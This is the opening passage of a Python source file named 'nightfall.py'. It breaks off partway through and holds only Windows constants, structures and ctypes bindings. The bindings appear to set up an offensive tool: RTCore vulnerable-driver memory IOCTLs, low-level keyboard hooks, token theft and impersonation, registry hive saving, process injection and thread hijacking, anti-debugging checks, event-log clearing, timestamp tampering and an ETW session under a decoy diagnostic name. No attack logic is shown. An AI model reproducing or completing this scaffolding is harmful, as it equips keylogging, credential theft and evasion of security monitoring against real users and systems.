nightfall.py

#!/usr/bin/env python3

VERSION = "1.0.0"
__version__ = VERSION

import argparse
import base64
import ctypes
import ctypes.wintypes as wt
import json
import os
import shutil
import socket
import sqlite3
import struct
import subprocess
import sys
import threading
import time
import zipfile
from glob import glob as fglob

k32 = ctypes.windll.kernel32
ntdll = ctypes.windll.ntdll
adv = ctypes.windll.advapi32

GENERIC_READ            = 0x80000000
GENERIC_WRITE           = 0x40000000
OPEN_EXISTING           = 3
CREATE_ALWAYS           = 2
FILE_SHARE_READ         = 0x00000001
FILE_SHARE_WRITE        = 0x00000002
FILE_SHARE_DELETE       = 0x00000004
FILE_FLAG_OVERLAPPED    = 0x40000000
FSCTL_REQUEST_BATCH_OPLOCK = 0x00090024
INVALID_HANDLE          = 0xFFFFFFFFFFFFFFFF
ERROR_IO_PENDING        = 997
WAIT_OBJECT_0           = 0
WAIT_TIMEOUT            = 0x102
INFINITE                = 0xFFFFFFFF

IOCTL_DAM_ADD           = 0x22A01C
IOCTL_DAM_STATE         = 0x22A008
IOCTL_DAM_QUERY         = 0x226004
IOCTL_DAM_CRASH         = 0x226014

ETW_RT_MODE             = 0x00000100
WNODE_TRACED_GUID       = 0x00020000
PT_MODE_REALTIME        = 0x00000100
PT_MODE_EVENT_RECORD    = 0x10000000
TRACE_LEVEL_VERBOSE     = 5
ENABLE_PROVIDER         = 1
TRACE_CONTROL_STOP      = 1

SESSION_NAME = "PerfDiagSession"

WNF_RECONCILE_FEATURES  = 0x0295013AA3BC0875

PROCESS_QUERY_INFORMATION   = 0x0400
PROCESS_QUERY_LIMITED       = 0x1000
PROCESS_VM_READ             = 0x0010
PROCESS_VM_WRITE            = 0x0020
PROCESS_VM_OPERATION        = 0x0008
TOKEN_ALL_ACCESS            = 0xF01FF
TOKEN_DUPLICATE             = 0x0002
TOKEN_QUERY                 = 0x0008
TOKEN_ASSIGN_PRIMARY        = 0x0001
TOKEN_IMPERSONATE           = 0x0004
SECURITY_IMPERSONATION      = 2
TOKEN_PRIMARY               = 1
LOGON_WITH_PROFILE          = 0x00000001
SE_PRIVILEGE_ENABLED        = 0x00000002
PAGE_READWRITE              = 0x04
PAGE_EXECUTE_READ           = 0x20
MEM_COMMIT                  = 0x1000
MEM_RESERVE                 = 0x2000
PROCESS_ALL_ACCESS          = 0x001FFFFF
EXTENDED_STARTUPINFO_PRESENT = 0x00080000
CREATE_NEW_CONSOLE          = 0x00000010
WH_KEYBOARD_LL              = 13
WM_KEYDOWN                  = 0x0100
PM_REMOVE                   = 1
REG_DWORD                   = 4
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000
CREATE_SUSPENDED        = 0x00000004
CONTEXT_AMD64           = 0x00100000
CONTEXT_CONTROL         = CONTEXT_AMD64 | 0x0001
CONTEXT_FULL            = CONTEXT_AMD64 | 0x000B
THREAD_ALL_ACCESS       = 0x001FFFFF
THREAD_SUSPEND_RESUME   = 0x0002
THREAD_GET_CONTEXT      = 0x0008
THREAD_SET_CONTEXT      = 0x0010
TH32CS_SNAPTHREAD       = 0x00000004
TH32CS_SNAPPROCESS      = 0x00000002
PAGE_EXECUTE_READWRITE  = 0x40
MiniDumpWithFullMemory  = 0x00000002
SC_MANAGER_ALL_ACCESS   = 0xF003F
SERVICE_ALL_ACCESS      = 0xF01FF
SERVICE_WIN32_OWN       = 0x00000010
SERVICE_DEMAND_START    = 0x00000003
SERVICE_ERROR_IGNORE    = 0x00000000
DELETE                  = 0x00010000
EXCEPTION_SINGLE_STEP   = 0x80000004
CONTEXT_DEBUG_REGISTERS = CONTEXT_AMD64 | 0x0010
TH32CS_SNAPMODULE       = 0x00000008
SERVICE_KERNEL_DRIVER   = 0x00000001
RTCORE_READ_IOCTL       = 0x80002048
RTCORE_WRITE_IOCTL      = 0x8000204C
DONT_RESOLVE_DLL_REFS   = 0x00000001
FILE_FLAG_DELETE_ON_CLOSE = 0x04000000
TRANSACTION_ALL_ACCESS  = 0x1F01FF
FILE_ATTRIBUTE_NORMAL   = 0x00000080
WT_EXECUTEDEFAULT       = 0x00000000
WINHTTP_ACCESS_TYPE_DEFAULT = 0
WINHTTP_NO_REFERER      = None
WINHTTP_DEFAULT_ACCEPT  = None
WINHTTP_NO_HEADERS      = None


class FILETIME(ctypes.Structure):
    _fields_ = [("dwLowDateTime", wt.DWORD), ("dwHighDateTime", wt.DWORD)]


class KBDLLHOOKSTRUCT(ctypes.Structure):
    _fields_ = [
        ("vkCode", wt.DWORD),
        ("scanCode", wt.DWORD),
        ("flags", wt.DWORD),
        ("time", wt.DWORD),
        ("dwExtraInfo", ctypes.c_void_p),
    ]


class MEMSTATEX(ctypes.Structure):
    _fields_ = [
        ("dwLength", wt.DWORD),
        ("dwMemoryLoad", wt.DWORD),
        ("ullTotalPhys", ctypes.c_uint64),
        ("ullAvailPhys", ctypes.c_uint64),
        ("ullTotalPageFile", ctypes.c_uint64),
        ("ullAvailPageFile", ctypes.c_uint64),
        ("ullTotalVirtual", ctypes.c_uint64),
        ("ullAvailVirtual", ctypes.c_uint64),
        ("ullAvailExtendedVirtual", ctypes.c_uint64),
    ]


class DATA_BLOB(ctypes.Structure):
    _fields_ = [("cbData", wt.DWORD), ("pbData", ctypes.c_void_p)]


class BCRYPT_AUTH_INFO(ctypes.Structure):
    _fields_ = [
        ("cbSize", wt.DWORD),
        ("dwInfoVersion", wt.DWORD),
        ("pbNonce", ctypes.c_void_p),
        ("cbNonce", wt.DWORD),
        ("pbAuthData", ctypes.c_void_p),
        ("cbAuthData", wt.DWORD),
        ("pbTag", ctypes.c_void_p),
        ("cbTag", wt.DWORD),
        ("pbMacContext", ctypes.c_void_p),
        ("cbMacContext", wt.DWORD),
        ("cbAAD", wt.DWORD),
        ("cbData", ctypes.c_uint64),
        ("dwFlags", wt.DWORD),
    ]


HOOKPROC = ctypes.WINFUNCTYPE(
    ctypes.c_ssize_t, ctypes.c_int, ctypes.c_size_t, ctypes.c_ssize_t)


class GUID(ctypes.Structure):
    _fields_ = [
        ("Data1", wt.DWORD),
        ("Data2", wt.WORD),
        ("Data3", wt.WORD),
        ("Data4", ctypes.c_byte * 8),
    ]


class OVERLAPPED(ctypes.Structure):
    _fields_ = [
        ("Internal", ctypes.c_void_p),
        ("InternalHigh", ctypes.c_void_p),
        ("Offset", wt.DWORD),
        ("OffsetHigh", wt.DWORD),
        ("hEvent", wt.HANDLE),
    ]


class WNODE_HEADER(ctypes.Structure):
    _fields_ = [
        ("BufferSize", wt.DWORD),
        ("ProviderId", wt.DWORD),
        ("HistoricalContext", ctypes.c_uint64),
        ("TimeStamp", ctypes.c_int64),
        ("Guid", GUID),
        ("ClientContext", wt.DWORD),
        ("Flags", wt.DWORD),
    ]


class EVENT_TRACE_PROPERTIES(ctypes.Structure):
    _fields_ = [
        ("Wnode", WNODE_HEADER),
        ("BufferSize", wt.DWORD),
        ("MinimumBuffers", wt.DWORD),
        ("MaximumBuffers", wt.DWORD),
        ("MaximumFileSize", wt.DWORD),
        ("LogFileMode", wt.DWORD),
        ("FlushTimer", wt.DWORD),
        ("EnableFlags", wt.DWORD),
        ("AgeLimit", wt.LONG),
        ("NumberOfBuffers", wt.DWORD),
        ("FreeBuffers", wt.DWORD),
        ("EventsLost", wt.DWORD),
        ("BuffersWritten", wt.DWORD),
        ("LogBuffersLost", wt.DWORD),
        ("RealTimeBuffersLost", wt.DWORD),
        ("LoggerThreadId", wt.HANDLE),
        ("LogFileNameOffset", wt.DWORD),
        ("LoggerNameOffset", wt.DWORD),
    ]


class PropsBuffer(ctypes.Structure):
    _fields_ = [
        ("Props", EVENT_TRACE_PROPERTIES),
        ("LoggerName", ctypes.c_wchar * 256),
        ("LogFileName", ctypes.c_wchar * 256),
    ]


class EVENT_TRACE_LOGFILEW(ctypes.Structure):
    _fields_ = [
        ("LogFileName", ctypes.c_wchar_p),
        ("LoggerName", ctypes.c_wchar_p),
        ("CurrentTime", ctypes.c_int64),
        ("BuffersRead", wt.DWORD),
        ("ProcessTraceMode", wt.DWORD),
        ("_evt", ctypes.c_byte * 88),
        ("_hdr", ctypes.c_byte * 280),
        ("BufferCallback", ctypes.c_void_p),
        ("BufferSize2", wt.DWORD),
        ("Filled", wt.DWORD),
        ("EventsLost2", wt.DWORD),
        ("EventRecordCallback", ctypes.c_void_p),
        ("IsKernelTrace", wt.DWORD),
        ("Context", ctypes.c_void_p),
    ]


PEVENT_RECORD_CB = ctypes.WINFUNCTYPE(None, ctypes.c_void_p)


class THREADENTRY32(ctypes.Structure):
    _fields_ = [
        ("dwSize", wt.DWORD),
        ("cntUsage", wt.DWORD),
        ("th32ThreadID", wt.DWORD),
        ("th32OwnerProcessID", wt.DWORD),
        ("tpBasePri", wt.LONG),
        ("tpDeltaPri", wt.LONG),
        ("dwFlags", wt.DWORD),
    ]


class PROCESSENTRY32W(ctypes.Structure):
    _fields_ = [
        ("dwSize", wt.DWORD),
        ("cntUsage", wt.DWORD),
        ("th32ProcessID", wt.DWORD),
        ("th32DefaultHeapID", ctypes.POINTER(ctypes.c_ulong)),
        ("th32ModuleID", wt.DWORD),
        ("cntThreads", wt.DWORD),
        ("th32ParentProcessID", wt.DWORD),
        ("pcPriClassBase", wt.LONG),
        ("dwFlags", wt.DWORD),
        ("szExeFile", ctypes.c_wchar * 260),
    ]


class CONTEXT64(ctypes.Structure):
    _pack_ = 16
    _fields_ = [
        ("P1Home", ctypes.c_uint64),
        ("P2Home", ctypes.c_uint64),
        ("P3Home", ctypes.c_uint64),
        ("P4Home", ctypes.c_uint64),
        ("P5Home", ctypes.c_uint64),
        ("P6Home", ctypes.c_uint64),
        ("ContextFlags", wt.DWORD),
        ("MxCsr", wt.DWORD),
        ("SegCs", wt.WORD), ("SegDs", wt.WORD),
        ("SegEs", wt.WORD), ("SegFs", wt.WORD),
        ("SegGs", wt.WORD), ("SegSs", wt.WORD),
        ("EFlags", wt.DWORD),
        ("Dr0", ctypes.c_uint64), ("Dr1", ctypes.c_uint64),
        ("Dr2", ctypes.c_uint64), ("Dr3", ctypes.c_uint64),
        ("Dr6", ctypes.c_uint64), ("Dr7", ctypes.c_uint64),
        ("Rax", ctypes.c_uint64), ("Rcx", ctypes.c_uint64),
        ("Rdx", ctypes.c_uint64), ("Rbx", ctypes.c_uint64),
        ("Rsp", ctypes.c_uint64), ("Rbp", ctypes.c_uint64),
        ("Rsi", ctypes.c_uint64), ("Rdi", ctypes.c_uint64),
        ("R8", ctypes.c_uint64), ("R9", ctypes.c_uint64),
        ("R10", ctypes.c_uint64), ("R11", ctypes.c_uint64),
        ("R12", ctypes.c_uint64), ("R13", ctypes.c_uint64),
        ("R14", ctypes.c_uint64), ("R15", ctypes.c_uint64),
        ("Rip", ctypes.c_uint64),
        ("FltSave", ctypes.c_byte * 512),
        ("VectorRegister", ctypes.c_byte * 416),
        ("VectorControl", ctypes.c_uint64),
        ("DebugControl", ctypes.c_uint64),
        ("LastBranchToRip", ctypes.c_uint64),
        ("LastBranchFromRip", ctypes.c_uint64),
        ("LastExceptionToRip", ctypes.c_uint64),
        ("LastExceptionFromRip", ctypes.c_uint64),
    ]


class IMAGE_DOS_HEADER(ctypes.Structure):
    _fields_ = [("e_magic", wt.WORD), ("_pad", ctypes.c_byte * 58),
                ("e_lfanew", wt.LONG)]


class IMAGE_FILE_HEADER(ctypes.Structure):
    _fields_ = [
        ("Machine", wt.WORD), ("NumberOfSections", wt.WORD),
        ("TimeDateStamp", wt.DWORD), ("PointerToSymbolTable", wt.DWORD),
        ("NumberOfSymbols", wt.DWORD), ("SizeOfOptionalHeader", wt.WORD),
        ("Characteristics", wt.WORD),
    ]


class IMAGE_SECTION_HEADER(ctypes.Structure):
    _fields_ = [
        ("Name", ctypes.c_byte * 8),
        ("VirtualSize", wt.DWORD), ("VirtualAddress", wt.DWORD),
        ("SizeOfRawData", wt.DWORD), ("PointerToRawData", wt.DWORD),
        ("PointerToRelocations", wt.DWORD), ("PointerToLinenumbers", wt.DWORD),
        ("NumberOfRelocations", wt.WORD), ("NumberOfLinenumbers", wt.WORD),
        ("Characteristics", wt.DWORD),
    ]


class EXCEPTION_RECORD(ctypes.Structure):
    pass


EXCEPTION_RECORD._fields_ = [
    ("ExceptionCode", wt.DWORD),
    ("ExceptionFlags", wt.DWORD),
    ("ExceptionRecord", ctypes.POINTER(EXCEPTION_RECORD)),
    ("ExceptionAddress", ctypes.c_void_p),
    ("NumberParameters", wt.DWORD),
    ("ExceptionInformation", ctypes.c_uint64 * 15),
]


class EXCEPTION_POINTERS(ctypes.Structure):
    _fields_ = [
        ("ExceptionRecord", ctypes.POINTER(EXCEPTION_RECORD)),
        ("ContextRecord", ctypes.POINTER(CONTEXT64)),
    ]


class RTCORE_MEMORY(ctypes.Structure):
    _fields_ = [
        ("_pad0", ctypes.c_byte * 8),
        ("Address", ctypes.c_uint64),
        ("_pad1", ctypes.c_byte * 8),
        ("ReadSize", wt.DWORD),
        ("Value", wt.DWORD),
        ("_pad2", ctypes.c_byte * 16),
    ]


class MODULEENTRY32W(ctypes.Structure):
    _fields_ = [
        ("dwSize", wt.DWORD),
        ("th32ModuleID", wt.DWORD),
        ("th32ProcessID", wt.DWORD),
        ("GlblcntUsage", wt.DWORD),
        ("ProccntUsage", wt.DWORD),
        ("modBaseAddr", ctypes.c_void_p),
        ("modBaseSize", wt.DWORD),
        ("hModule", wt.HANDLE),
        ("szModule", ctypes.c_wchar * 256),
        ("szExePath", ctypes.c_wchar * 260),
    ]


ntdll.NtUpdateWnfStateData.argtypes = [
    ctypes.POINTER(ctypes.c_uint64), ctypes.c_void_p, wt.DWORD,
    ctypes.c_void_p, ctypes.c_void_p, wt.DWORD, wt.DWORD,
]
ntdll.NtUpdateWnfStateData.restype = wt.LONG

adv.StartTraceW.argtypes = [
    ctypes.POINTER(ctypes.c_uint64), ctypes.c_wchar_p, ctypes.c_void_p,
]
adv.StartTraceW.restype = wt.DWORD

adv.EnableTraceEx2.argtypes = [
    ctypes.c_uint64, ctypes.POINTER(GUID), wt.DWORD, ctypes.c_ubyte,
    ctypes.c_uint64, ctypes.c_uint64, wt.DWORD, ctypes.c_void_p,
]
adv.EnableTraceEx2.restype = wt.DWORD

adv.OpenTraceW.argtypes = [ctypes.c_void_p]
adv.OpenTraceW.restype = ctypes.c_uint64

adv.ProcessTrace.argtypes = [
    ctypes.POINTER(ctypes.c_uint64), wt.DWORD,
    ctypes.c_void_p, ctypes.c_void_p,
]
adv.ProcessTrace.restype = wt.DWORD

adv.CloseTrace.argtypes = [ctypes.c_uint64]
adv.CloseTrace.restype = wt.DWORD

adv.ControlTraceW.argtypes = [
    ctypes.c_uint64, ctypes.c_wchar_p, ctypes.c_void_p, wt.DWORD,
]
adv.ControlTraceW.restype = wt.DWORD

k32.CreateFileW.argtypes = [
    ctypes.c_wchar_p, wt.DWORD, wt.DWORD, ctypes.c_void_p,
    wt.DWORD, wt.DWORD, wt.HANDLE,
]
k32.CreateFileW.restype = wt.HANDLE

k32.DeviceIoControl.argtypes = [
    wt.HANDLE, wt.DWORD, ctypes.c_void_p, wt.DWORD,
    ctypes.c_void_p, wt.DWORD, ctypes.POINTER(wt.DWORD),
    ctypes.c_void_p,
]
k32.DeviceIoControl.restype = wt.BOOL

k32.CloseHandle.argtypes = [wt.HANDLE]
k32.CloseHandle.restype = wt.BOOL

k32.CreateEventW.argtypes = [ctypes.c_void_p, wt.BOOL, wt.BOOL, ctypes.c_wchar_p]
k32.CreateEventW.restype = wt.HANDLE

k32.WaitForSingleObject.argtypes = [wt.HANDLE, wt.DWORD]
k32.WaitForSingleObject.restype = wt.DWORD

k32.WriteFile.argtypes = [
    wt.HANDLE, ctypes.c_void_p, wt.DWORD,
    ctypes.POINTER(wt.DWORD), ctypes.c_void_p,
]
k32.WriteFile.restype = wt.BOOL

k32.OpenProcess.argtypes = [wt.DWORD, wt.BOOL, wt.DWORD]
k32.OpenProcess.restype = wt.HANDLE

k32.VirtualProtectEx.argtypes = [
    wt.HANDLE, ctypes.c_void_p, ctypes.c_size_t,
    wt.DWORD, ctypes.POINTER(wt.DWORD),
]
k32.VirtualProtectEx.restype = wt.BOOL

k32.WriteProcessMemory.argtypes = [
    wt.HANDLE, ctypes.c_void_p, ctypes.c_void_p,
    ctypes.c_size_t, ctypes.POINTER(ctypes.c_size_t),
]
k32.WriteProcessMemory.restype = wt.BOOL

k32.ReadProcessMemory.argtypes = [
    wt.HANDLE, ctypes.c_void_p, ctypes.c_void_p,
    ctypes.c_size_t, ctypes.POINTER(ctypes.c_size_t),
]
k32.ReadProcessMemory.restype = wt.BOOL

k32.GetModuleHandleW.argtypes = [ctypes.c_wchar_p]
k32.GetModuleHandleW.restype = ctypes.c_void_p

k32.GetProcAddress.argtypes = [ctypes.c_void_p, ctypes.c_char_p]
k32.GetProcAddress.restype = ctypes.c_void_p

k32.VirtualProtect.argtypes = [
    ctypes.c_void_p, ctypes.c_size_t,
    wt.DWORD, ctypes.POINTER(wt.DWORD),
]
k32.VirtualProtect.restype = wt.BOOL

adv.OpenProcessToken.argtypes = [wt.HANDLE, wt.DWORD, ctypes.POINTER(wt.HANDLE)]
adv.OpenProcessToken.restype = wt.BOOL

adv.DuplicateTokenEx.argtypes = [
    wt.HANDLE, wt.DWORD, ctypes.c_void_p,
    wt.DWORD, wt.DWORD, ctypes.POINTER(wt.HANDLE),
]
adv.DuplicateTokenEx.restype = wt.BOOL

adv.CreateProcessWithTokenW.argtypes = [
    wt.HANDLE, wt.DWORD, ctypes.c_wchar_p, ctypes.c_wchar_p,
    wt.DWORD, ctypes.c_void_p, ctypes.c_wchar_p,
    ctypes.c_void_p, ctypes.c_void_p,
]
adv.CreateProcessWithTokenW.restype = wt.BOOL

adv.LookupPrivilegeValueW.argtypes = [
    ctypes.c_wchar_p, ctypes.c_wchar_p,
    ctypes.c_void_p,
]
adv.LookupPrivilegeValueW.restype = wt.BOOL

adv.AdjustTokenPrivileges.argtypes = [
    wt.HANDLE, wt.BOOL, ctypes.c_void_p,
    wt.DWORD, ctypes.c_void_p, ctypes.c_void_p,
]
adv.AdjustTokenPrivileges.restype = wt.BOOL

adv.RegSaveKeyW.argtypes = [wt.HANDLE, ctypes.c_wchar_p, ctypes.c_void_p]
adv.RegSaveKeyW.restype = wt.LONG

adv.RegOpenKeyExW.argtypes = [
    wt.HANDLE, ctypes.c_wchar_p, wt.DWORD, wt.DWORD, ctypes.POINTER(wt.HANDLE),
]
adv.RegOpenKeyExW.restype = wt.LONG

adv.RegCloseKey.argtypes = [wt.HANDLE]
adv.RegCloseKey.restype = wt.LONG

adv.RegSetValueExW.argtypes = [
    wt.HANDLE, ctypes.c_wchar_p, wt.DWORD, wt.DWORD,
    ctypes.c_void_p, wt.DWORD,
]
adv.RegSetValueExW.restype = wt.LONG

adv.RegDeleteValueW.argtypes = [wt.HANDLE, ctypes.c_wchar_p]
adv.RegDeleteValueW.restype = wt.LONG

HKEY_LOCAL_MACHINE = wt.HANDLE(0x80000002)
HKEY_CURRENT_USER  = wt.HANDLE(0x80000001)
KEY_READ           = 0x20019
KEY_WRITE          = 0x20006
KEY_ALL_ACCESS     = 0xF003F
REG_SZ             = 1

k32.IsDebuggerPresent.argtypes = []
k32.IsDebuggerPresent.restype = wt.BOOL

k32.CheckRemoteDebuggerPresent.argtypes = [wt.HANDLE, ctypes.POINTER(wt.BOOL)]
k32.CheckRemoteDebuggerPresent.restype = wt.BOOL

k32.GetCurrentProcess.argtypes = []
k32.GetCurrentProcess.restype = wt.HANDLE

ntdll.NtQueryInformationProcess.argtypes = [
    wt.HANDLE, wt.DWORD, ctypes.c_void_p, wt.DWORD, ctypes.POINTER(wt.DWORD)]
ntdll.NtQueryInformationProcess.restype = wt.LONG

k32.GetFileTime.argtypes = [wt.HANDLE, ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p]
k32.GetFileTime.restype = wt.BOOL

k32.SetFileTime.argtypes = [wt.HANDLE, ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p]
k32.SetFileTime.restype = wt.BOOL

k32.GlobalMemoryStatusEx.argtypes = [ctypes.c_void_p]
k32.GlobalMemoryStatusEx.restype = wt.BOOL

k32.GetTickCount64.argtypes = []
k32.GetTickCount64.restype = ctypes.c_uint64

k32.GetDiskFreeSpaceExW.argtypes = [
    ctypes.c_wchar_p, ctypes.POINTER(ctypes.c_uint64),
    ctypes.POINTER(ctypes.c_uint64), ctypes.POINTER(ctypes.c_uint64)]
k32.GetDiskFreeSpaceExW.restype = wt.BOOL

k32.VirtualAllocEx.argtypes = [
    wt.HANDLE, ctypes.c_void_p, ctypes.c_size_t, wt.DWORD, wt.DWORD]
k32.VirtualAllocEx.restype = ctypes.c_void_p

k32.CreateRemoteThread.argtypes = [
    wt.HANDLE, ctypes.c_void_p, ctypes.c_size_t,
    ctypes.c_void_p, ctypes.c_void_p, wt.DWORD, ctypes.POINTER(wt.DWORD)]
k32.CreateRemoteThread.restype = wt.HANDLE

k32.InitializeProcThreadAttributeList.argtypes = [
    ctypes.c_void_p, wt.DWORD, wt.DWORD, ctypes.POINTER(ctypes.c_size_t)]
k32.InitializeProcThreadAttributeList.restype = wt.BOOL

k32.UpdateProcThreadAttribute.argtypes = [
    ctypes.c_void_p, wt.DWORD, ctypes.c_size_t,
    ctypes.c_void_p, ctypes.c_size_t, ctypes.c_void_p, ctypes.c_void_p]
k32.UpdateProcThreadAttribute.restype = wt.BOOL

k32.DeleteProcThreadAttributeList.argtypes = [ctypes.c_void_p]
k32.DeleteProcThreadAttributeList.restype = None

k32.CreateProcessW.argtypes = [
    ctypes.c_wchar_p, ctypes.c_wchar_p, ctypes.c_void_p, ctypes.c_void_p,
    wt.BOOL, wt.DWORD, ctypes.c_void_p, ctypes.c_wchar_p,
    ctypes.c_void_p, ctypes.c_void_p]
k32.CreateProcessW.restype = wt.BOOL

k32.LocalFree.argtypes = [ctypes.c_void_p]
k32.LocalFree.restype = ctypes.c_void_p

adv.RegCreateKeyExW.argtypes = [
    wt.HANDLE, ctypes.c_wchar_p, wt.DWORD, ctypes.c_wchar_p,
    wt.DWORD, wt.DWORD, ctypes.c_void_p,
    ctypes.POINTER(wt.HANDLE), ctypes.POINTER(wt.DWORD)]
adv.RegCreateKeyExW.restype = wt.LONG

adv.ImpersonateLoggedOnUser.argtypes = [wt.HANDLE]
adv.ImpersonateLoggedOnUser.restype = wt.BOOL

adv.RevertToSelf.argtypes = []
adv.RevertToSelf.restype = wt.BOOL

k32.QueueUserAPC.argtypes = [ctypes.c_void_p, wt.HANDLE, ctypes.c_void_p]
k32.QueueUserAPC.restype = wt.DWORD

k32.SuspendThread.argtypes = [wt.HANDLE]
k32.SuspendThread.restype = wt.DWORD
k32.ResumeThread.argtypes = [wt.HANDLE]
k32.ResumeThread.restype = wt.DWORD

k32.OpenThread.argtypes = [wt.DWORD, wt.BOOL, wt.DWORD]
k32.OpenThread.restype = wt.HANDLE

k32.GetThreadContext.argtypes = [wt.HANDLE, ctypes.c_void_p]
k32.GetThreadContext.restype = wt.BOOL
k32.SetThreadContext.argtypes = [wt.HANDLE, ctypes.c_void_p]
k32.SetThreadContext.restype = wt.BOOL

k32.CreateToolhelp32Snapshot.argtypes = [wt.DWORD, wt.DWORD]
k32.CreateToolhelp32Snapshot.restype = wt.HANDLE
k32.Thread32First.argtypes = [wt.HANDLE, ctypes.POINTER(THREADENTRY32)]
k32.Thread32First.restype = wt.BOOL
k32.Thread32Next.argtypes = [wt.HANDLE, ctypes.POINTER(THREADENTRY32)]
k32.Thread32Next.restype = wt.BOOL
k32.Process32FirstW.argtypes = [wt.HANDLE, ctypes.POINTER(PROCESSENTRY32W)]
k32.Process32FirstW.restype = wt.BOOL
k32.Process32NextW.argtypes = [wt.HANDLE, ctypes.POINTER(PROCESSENTRY32W)]
k32.Process32NextW.restype = wt.BOOL

k32.ReadProcessMemory.argtypes = [
    wt.HANDLE, ctypes.c_void_p, ctypes.c_void_p,
    ctypes.c_size_t, ctypes.POINTER(ctypes.c_size_t)]
k32.ReadProcessMemory.restype = wt.BOOL

k32.VirtualProtectEx.argtypes = [
    wt.HANDLE, ctypes.c_void_p, ctypes.c_size_t,
    wt.DWORD, ctypes.POINTER(wt.DWORD)]
k32.VirtualProtectEx.restype = wt.BOOL

adv.OpenSCManagerW.argtypes = [ctypes.c_wchar_p, ctypes.c_wchar_p, wt.DWORD]
adv.OpenSCManagerW.restype = wt.HANDLE
adv.CreateServiceW.argtypes = [
    wt.HANDLE, ctypes.c_wchar_p, ctypes.c_wchar_p, wt.DWORD,
    wt.DWORD, wt.DWORD, wt.DWORD, ctypes.c_wchar_p,
    ctypes.c_wchar_p, ctypes.c_void_p, ctypes.c_wchar_p,
    ctypes.c_wchar_p, ctypes.c_wchar_p]
adv.CreateServiceW.restype = wt.HANDLE
adv.StartServiceW.argtypes = [wt.HANDLE, wt.DWORD, ctypes.c_void_p]
adv.StartServiceW.restype = wt.BOOL
adv.DeleteService.argtypes = [wt.HANDLE]
adv.DeleteService.restype = wt.BOOL
adv.CloseServiceHandle.argtypes = [wt.HANDLE]
adv.CloseServiceHandle.restype = wt.BOOL
adv.OpenEventLogW.argtypes = [ctypes.c_wchar_p, ctypes.c_wchar_p]
adv.OpenEventLogW.restype = wt.HANDLE
adv.ClearEventLogW.argtypes = [wt.HANDLE, ctypes.c_wchar_p]
adv.ClearEventLogW.restype = wt.BOOL
adv.CloseEventLog.argtypes = [wt.HANDLE]
adv.CloseEventLog.restype = wt.BOOL

k32.AddVectoredExceptionHandler.argtypes = [wt.DWORD, ctypes.c_void_p]
k32.AddVectoredExceptionHandler.restype = ctypes.c_void_p
k32.RemoveVectoredExceptionHandler.argtypes = [ctypes.c_void_p]
k32.RemoveVectoredExceptionHandler.restype = wt.DWORD
k32.GetCurrentThreadId.argtypes = []
k32.GetCurrentThreadId.restype = wt.DWORD
k32.Module32FirstW.argtypes = [wt.HANDLE, ctypes.POINTER(MODULEENTRY32W)]
k32.Module32FirstW.restype = wt.BOOL
k32.Module32NextW.argtypes = [wt.HANDLE, ctypes.POINTER(MODULEENTRY32W)]
k32.Module32NextW.restype = wt.BOOL
k32.LoadLibraryExW.argtypes = [ctypes.c_wchar_p, wt.HANDLE, wt.DWORD]
k32.LoadLibraryExW.restype = ctypes.c_void_p
k32.FreeLibrary.argtypes = [ctypes.c_void_p]
k32.FreeLibrary.restype = wt.BOOL
k32.VirtualAlloc.argtypes = [ctypes.c_void_p, ctypes.c_size_t, wt.DWORD, wt.DWORD]
k32.VirtualAlloc.restype = ctypes.c_void_p

k32.GlobalAlloc.argtypes = [wt.DWORD, ctypes.c_size_t]
k32.GlobalAlloc.restype = wt.HANDLE
k32.GlobalLock.argtypes = [wt.HANDLE]
k32.GlobalLock.restype = ctypes.c_void_p
k32.GlobalUnlock.argtypes = [wt.HANDLE]
k32.GlobalUnlock.restype = wt.BOOL
k32.GlobalFree.argtypes = [wt.HANDLE]
k32.GlobalFree.restype = wt.HANDLE

adv.OpenServiceW.argtypes = [wt.HANDLE, ctypes.c_wchar_p, wt.DWORD]
adv.OpenServiceW.restype = wt.HANDLE
adv.ControlService.argtypes = [wt.HANDLE, wt.DWORD, ctypes.c_void_p]
adv.ControlService.restype = wt.BOOL

ntdll.NtQuerySystemInformation.argtypes = [
    wt.DWORD, ctypes.c_void_p, wt.DWORD, ctypes.POINTER(wt.DWORD)]
ntdll.NtQuerySystemInformation.restype = wt.LONG

ntdll.NtUnmapViewOfSection.argtypes = [wt.HANDLE, ctypes.c_void_p]
ntdll.NtUnmapViewOfSection.restype = wt.LONG

ntdll.NtSetInformationProcess.argtypes = [
    wt.HANDLE, wt.DWORD, ctypes.c_void_p, wt.DWORD]
ntdll.NtSetInformationProcess.restype = wt.LONG

k32.TerminateProcess.argtypes = [wt.HANDLE, wt.DWORD]
k32.TerminateProcess.restype = wt.BOOL

k32.CreateNamedPipeW.argtypes = [
    ctypes.c_wchar_p, wt.DWORD, wt.DWORD, wt.DWORD,
    wt.DWORD, wt.DWORD, wt.DWORD, ctypes.c_void_p]
k32.CreateNamedPipeW.restype = wt.HANDLE

k32.ConnectNamedPipe.argtypes = [wt.HANDLE, ctypes.c_void_p]
k32.ConnectNamedPipe.restype = wt.BOOL

k32.DisconnectNamedPipe.argtypes = [wt.HANDLE]
k32.DisconnectNamedPipe.restype = wt.BOOL

k32.ReadFile.argtypes = [
    wt.HANDLE, ctypes.c_void_p, wt.DWORD,
    ctypes.POINTER(wt.DWORD), ctypes.c_void_p]
k32.ReadFile.restype = wt.BOOL

ntdll.NtQueryWnfStateData.argtypes = [
    ctypes.POINTER(ctypes.c_uint64), ctypes.c_void_p,
    ctypes.c_void_p, ctypes.POINTER(wt.DWORD),
    ctypes.c_void_p, ctypes.POINTER(wt.DWORD)]
ntdll.NtQueryWnfStateData.restype = wt.LONG

k32.CreateTimerQueue.argtypes = []
k32.CreateTimerQueue.restype = wt.HANDLE

k32.CreateTimerQueueTimer.argtypes = [
    ctypes.POINTER(wt.HANDLE), wt.HANDLE, ctypes.c_void_p,
    ctypes.c_void_p, wt.DWORD, wt.DWORD, wt.DWORD]
k32.CreateTimerQueueTimer.restype = wt.BOOL

k32.DeleteTimerQueueTimer.argtypes = [wt.HANDLE, wt.HANDLE, wt.HANDLE]
k32.DeleteTimerQueueTimer.restype = wt.BOOL

k32.DeleteTimerQueueEx.argtypes = [wt.HANDLE, wt.HANDLE]
k32.DeleteTimerQueueEx.restype = wt.BOOL

k32.VirtualFree.argtypes = [ctypes.c_void_p, ctypes.c_size_t, wt.DWORD]
k32.VirtualFree.restype = wt.BOOL

try:
    ktmw32 = ctypes.windll.ktmw32
    ktmw32.CreateTransaction.argtypes = [
